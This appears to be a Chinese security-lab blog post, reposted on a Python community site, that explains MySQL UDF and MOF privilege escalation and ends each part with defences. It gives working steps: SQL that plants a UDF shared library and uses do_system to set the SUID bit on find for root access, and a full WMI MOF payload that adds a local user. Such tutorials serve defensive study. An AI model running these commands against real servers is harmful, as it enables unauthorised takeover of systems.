社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

『红蓝对抗』MySQL数据库的UDF与MOF提权

宸极实验室 • 5 月前 • 111 次点击  

点击蓝字

关注我们


日期:2023-11-30
作者:pbfochk
介绍:MySQL数据库的UDFMOF提权。

0x00 前言

在数据库管理和网络安全领域,MySQL数据库一直是一个备受关注的话题。MySQL是一种流行的关系型数据库管理系统,被广泛用于存储和管理应用程序的数据。然而,正如在任何强大工具中一样,MySQL也有其一些安全挑战,其中之一就是数据库提权(Database Privilege Escalation)。

数据库提权是指攻击者试图通过各种手段获取比其当前权限更高级别的数据库访问权限。这可能包括访问敏感数据、执行危险操作或者甚至完全控制数据库系统。数据库提权漏洞通常源于不当的配置、弱密码、未修复的漏洞或应用程序错误,这些都可能为攻击者提供入侵数据库的机会。

0x01 MySQL数据库

MySQL 是一种 开源 的关系型数据库管理系统(RDBMS),它广泛用于存储、管理和检索数据。以下是MySQL的简要介绍:

  1. 开源性质MySQL是一个开源软件,这意味着你可以免费获取、使用和修改它。这使得MySQL成为了许多应用程序和网站的首选数据库引擎。

  2. 关系型数据库MySQL是一种关系型数据库管理系统,它使用表格(表)来存储数据,并支持SQL(结构化查询语言)以便查询和管理这些数据。数据以表格的形式组织,每个表都包含了特定类型的数据。

  3. 跨平台MySQL可以在多个操作系统上运行,包括LinuxWindowsmacOS等。这使得它成为跨平台应用程序的理想数据库引擎。

  4. 高性能MySQL以其快速的性能而闻名。它能够处理大量的数据,支持高并发访问,并具有优化查询和索引的功能。

  5. 可定制性MySQL 具有高度可定制的特点,允许用户根据其特定需求进行配置和扩展。它还支持存储过程、触发器和自定义函数等高级功能。

  6. 安全性MySQL提供了多层次的安全性措施,包括访问控制、用户身份验证和数据加密。这些措施有助于保护数据库免受未经授权的访问和数据泄露。

  7. 活跃的社区MySQL拥有一个活跃的开源社区,不断更新和改进数据库引擎。这意味着用户可以从社区贡献者的技术支持和新功能中受益。

  8. 广泛应用MySQL被广泛用于各种应用场景,从个人项目到大型企业应用,以及Web应用、电子商务平台、博客和社交媒体网站等。

0x02 MySQL数据库UDF提权

2.1 UDF提权的前提条件

MySQL User Defined Function (UDF) Privilege Escalation 是一种潜在的数据库攻击,允许攻击者在已经获得某些数据库权限的情况下,提升其权限级别。要实施UDF提权,攻击者通常需要满足以下前提条件:

  1. 已获得数据库访问权限:攻击者首先需要获得对MySQL数据库的某些级别的访问权限。这可以是通过猜测或获取合法用户的凭证、通过SQL注入漏洞获取的权限,或者其他方式。

  2. UDF函数的可执行权限UDF函数是一种自定义函数,允许用户在MySQL中执行特定的操作。攻击者需要有足够的权限来创建和执行UDF函数,通常需要SUPER权限或FILE权限。如果攻击者无法创建UDF函数,他们无法实施UDF提权攻击。

  3. 合适的攻击载荷:攻击者需要准备一个适当的攻击载荷,通常是一个具有恶意代码的共享库文件(通常是.so文件),以及能够将这个共享库文件加载到MySQL进程中的SQL语句。

  4. 了解目标环境:攻击者通常需要了解目标MySQL服务器的环境,包括MySQL的版本、配置和可用UDF函数等信息。这有助于他们选择合适的攻击载荷和方法。

  5. 足够的时间和访问权限:攻击者需要足够的时间和访问权限来执行UDF提权攻击。这可能需要在目标系统上维持持久性,以便在需要时执行攻击。

2.2 目标本身需要具备的前提条件

  1. MySQL版本大于5.1时,udf.dll 文件必须放置于MySQL安装目录下的 lib\plugin 文件夹中。

  2. MySQL版本小于5.1 时,在Windows 2003下,udf.dll 文件应放置于 c:\windows\system32,在Windows 2000下,应放置于 c:\winnt\system32

  3. 要掌握MySQL数据库的账号,以便具备对MySQL进行 insertdelete 操作的权限,以便创建和抛弃函数。一般建议使用 root 账号,具备与 root 账号相同权限的其他账号也可以。同时,允许 root 账户远程连接(可使用如下命令:grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; 这条命令能够允许 root 用户指定IP地址进行连接)。

  4. 应确保具备将 udf.dll 写入到相应目录的权限。

2.3 MySQL UDF提权利用原理

MySQL UDF提权攻击的原理基于以下关键概念:

  1. 用户定义函数(UDF)MySQL允许数据库管理员创建和注册用户自定义函数(UDF)。这些函数通常用于扩展MySQL的功能,但它们也可以用于执行任意代码。

  2. 权限限制MySQL数据库根据用户的权限来控制其对数据库的访问和操作。不同的用户拥有不同级别的权限,从只读访问到完全管理权限。

攻击原理如下:

  1. 获取初始访问权限:攻击者首先需要获取对目标MySQL数据库的初始访问权限。这可以通过各种方式获得,包括猜测密码、利用SQL注入漏洞、未经授权的访问等。

  2. 创建恶意UDF:一旦攻击者获得了初始访问权限,他们会尝试创建一个具有恶意代码的UDF函数。这个函数可以是一个共享库文件(通常是.so文件),其中包含攻击者的恶意代码。

  3. 注册UDF:攻击者将恶意UDF函数注册到目标数据库中。这通常需要具有足够权限的账户,如root账户或拥有FILE权限的账户。

  4. 执行恶意UDF:一旦UDF函数成功注册,攻击者可以通过执行该函数来触发其内部的恶意代码。这个代码在数据库服务器上以高权限运行,从而提升了攻击者在数据库中的权限级别。

  5. 进一步攻击:一旦攻击者获得更高的权限级别,他们可以执行其他危险的操作,如读取、修改或删除敏感数据,或者更改数据库配置。

2.4 MySQL UDF提权

1.此处以linux 服务器为例,首先将编译好的UDF.so文件放入tmp目录下。

2.进入数据库

1)执行以下命令进入数据库:

mysql> use test

2创建一个新表udf1:

mysql> create table udf1(line blob);

3UDF.so写入新创建的数据库表:

mysql> insert into udf1 values(load_file('/tmp/UDF.so'));

4检索添加好的数据并保存到对应目录:

mysql> select * from udf1 into dumpfile '/usr/lib/mysql/plugin/UDF.so';

5加载UDF.so文件:

mysql> create function do_system returns integer soname 'UDF.so';

6执行chmod u+s /usr/bin/find命令:

mysql> select do_system('chmod u+s /usr/bin/find');

7退出数据库后,查看UDF.so文件touch UDF 执行whoami命令,返回root,获得root权限:

find UDF -exec 'whoami' \;

2.5 MySQL UDF提权防范

  1. 限制权限:最重要的一步是限制MySQL用户的权限。确保用户只获得了他们需要的最低权限级别。避免授予用户过高的权限,特别是SUPERFILE权限,这些权限允许创建和执行UDF函数。

  2. 定期审查:定期审查和监控MySQL数据库的活动,特别关注UDF函数的创建和执行。不寻常的行为可能是潜在攻击的迹象。

  3. 及时更新:保持MySQL服务器更新和维护,确保安装了最新的安全补丁。这有助于修复已知的漏洞,并提高数据库的安全性。

  4. 网络隔离:使用防火墙或网络隔离措施,限制对MySQL端口的访问。只允许授权的IP地址连接到MySQL服务器,减少潜在攻击者的入口点。

  5. 最小化UDF函数:只允许真正需要使用UDF函数的情况下才允许其创建和执行。避免不必要的UDF函数存在,减少潜在的滥用机会。

  6. 强密码策略:实施强密码策略,确保MySQL用户的密码复杂度足够高,难以猜测或破解。

  7. 定期审计:定期审计数据库的权限和配置,以确保安全性并及时发现潜在的问题。

  8. 备份和恢复策略:建立有效的数据库备份和恢复策略,以便在受到攻击时能够迅速恢复数据库到安全状态。

这些措施有助于降低MySQL UDF提权攻击的风险,增强数据库的安全性,同时保护敏感数据不受潜在的威胁。

0x03 MySQL数据库MOF提权

3.1 MOF提权原理

MySQL MOF(Management Object Format)提权攻击 是一种专门针对运行在Windows操作系统上的MySQL数据库的攻击方式。该攻击利用Windows操作系统的漏洞,以获取更高的权限,允许攻击者执行恶意操作。

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

MOF文件每五秒就会执行,而且是系统权限,我们通过MySQL使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF

MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

3.2 MOF利用代码

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa \"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};

3.3 MOF提权利用

1.首先将脚本上传到任意一个可读写目录下,再利用SQL语句导入到C:/windows/system32/wbem/mof/nullevt.mof

select load_file("C:/test/payload.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

2.执行后会添加一个名为hpdoger的用户,再重复一步操作利用net localgrouphpdoger用户加入administrators管理组即可。

3.因为MOF漏洞提权牵扯到的前提条件相对于目前大多数数据库部署环境来说已经算是较为苛刻,此处只做简述。

3.4 防御措施

为了预防MySQL MOF提权攻击,需要采取以下措施:

  • 定期安装操作系统和应用程序的安全更新和补丁,以修复已知的漏洞。

  • 限制系统访问权限,确保只有经授权的用户可以访问系统和数据库。

  • 监控系统活动,及时检测并响应可疑的活动。

  • 使用防病毒和安全软件,以识别和阻止恶意软件的传播。

  • 审查和限制WMI的权限,确保只有授权用户可以创建和执行MOF文件。

  • 定期审查和更新系统和数据库的安全策略,以适应新的威胁和漏洞。

综上所述,MySQL MOF提权攻击是一种专门针对Windows系统上的MySQL数据库的攻击方式。为了预防这种攻击,必须采取适当的安全措施,并保持系统和软件的更新。

0x04 总结

MySQL作为一个广泛使用的关系型数据库管理系统,常常成为攻击者的目标之一。其中一种潜在的威胁是MySQL UDF提权攻击,它允许攻击者在获得一定数据库权限的情况下,提升其权限级别,可能导致严重的安全问题。

为了保护数据库免受UDF提权攻击的威胁,我们必须采取一系列预防措施。这包括限制权限、定期审查数据库活动、保持数据库更新、网络隔离、最小化UDF函数的使用、实施强密码策略、定期审计和建立有效的备份和恢复策略。这些措施合在一起,将显著降低数据库遭受这种类型攻击的风险。

在数据库安全方面,预防胜于治疗。通过采取上述措施,我们可以帮助确保MySQL数据库的完整性和可用性,同时保护敏感数据不受潜在的威胁。数据库安全是一个持续的工作,需要不断的监控和更新,以适应不断演变的威胁景观。

最终,数据库安全是每个组织都必须认真对待的问题。只有通过坚定的承诺和合适的安全措施,我们才能确保数据库在数字世界中充当守护者的角色,保护着宝贵的数据资产。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/165066
 
111 次点击